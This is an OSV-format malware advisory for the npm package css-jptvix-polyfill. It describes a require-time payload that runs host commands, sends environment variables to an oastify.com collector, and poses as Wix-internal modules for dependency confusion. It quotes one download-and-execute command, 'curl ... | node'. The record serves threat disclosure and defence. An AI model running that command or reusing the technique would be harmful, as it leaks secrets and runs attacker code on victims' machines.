css-jptvix-polyfill

{"modified":"2026-10-08T06:00:00Z","published":"2026-10-06T19:51:06Z","schema_version":"1.7.4","id":"MAL-2026-17638","summary":"Malicious code in css-jptvix-polyfill (npm)","details":"css-jptvix-polyfill@1.0.0 was published to npm on 2026-10-06 07:29 UTC by user naorya and was unpublished by npm on 2026-10-06 15:04 UTC after a malware report. It is described as a CSS polyfill but contains no polyfill: index.js is an empty module, registry-manifest.min.json maps Wix-internal module names (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, ...) to static.parastorage.com (Wix CDN) URLs, and thunderboltRegistry.js carries the payload, which runs at require time as a top-level IIFE.\n\nBehavior of thunderboltRegistry.js: (1) obtains child_process through require('child_process'), require('node:child_process') or a fresh Module instance if both are blocked; (2) runs the host commands id, id -un || whoami, env and ifconfig || ip addr with execSync and sends each output, together with os.hostname(), to an out-of-band collector at orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com as cmd=id, cmd=whoami, cmd=env and cmd=ifconfig; the env step leaks every environment variable of the host, including tokens and cloud credentials; (3) runs curl -L https://appsecc.com/js | node, i.e. downloads and executes remote code, and reports the result as cmd=reverse-shell; (4) sends a beacon tagged rce-poc with the Node version, platform and process id; (5) exports Proxy objects under the Wix-internal module names, which together with the manifest indicates a dependency-confusion attempt against that organization's private packages.\n\nTrigger: on import (require). Type: information stealer (host identity and environment variables) plus remote code execution. Same facade and behavior as css-eqxcdx-polyfill (different package name and collector host).\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa)\nThe package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs `curl -L https://appsecc.com/js | node`, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch `reverse-shell`. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.\n","affected":[{"package":{"ecosystem":"npm","name":"css-jptvix-polyfill"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"thunderboltRegistry.js","sha256":"8b437ee6733aa1c34668f7c67d779276c08f7013def225c55d61c31753442fc7","tlsh":"3d7143b5b99df02066c33438db7f5049b4bb8a672c6caee0b40859b01f3585c01be6f4"}],"package_integrity":[{"filename":"css-jptvix-polyfill-1.0.0.tgz","hashes":{"sha1":"9e700b2c0520fc6a236e4b14db5db5c89b6e8ea4","sha512_sri":"sha512-Js0W2iiynerl/vPEpcWopmR1zUdevE9QFxO+uMawx929wvihQ2kbi13xV6DkdsiXvvjczR2MRVWNLYtM1xpDeA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/css-jptvix-polyfill/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]},{"name":"Eunsoo Kim","type":"FINDER","contact":["https://github.com/eskim86"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-021098","import_time":"2026-10-06T20:20:38.654635904Z","modified_time":"2026-10-06T19:51:06Z","sha256":"cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa","source":"amazon-inspector","versions":["1.0.0"]}],"iocs":{"domains":["orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com","appsecc.com"],"urls":["https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com/","https://appsecc.com/js"],"files":[{"paths":["thunderboltRegistry.js"],"note":"payload: runs on require, executes id/whoami/env/ifconfig and curl | node, exfiltrates to oastify.com","source":"PACKAGE_ARCHIVE","digests":{"sha256":"8b437ee6733aa1c34668f7c67d779276c08f7013def225c55d61c31753442fc7"}},{"paths":["registry-manifest.min.json"],"note":"maps Wix-internal module names to static.parastorage.com URLs (dependency confusion)","source":"PACKAGE_ARCHIVE","digests":{"sha256":"64dae1c27b8491f8eb0a9169038ff5ac62eca6265e63f3e6a1c725b275074a59"}}]}}}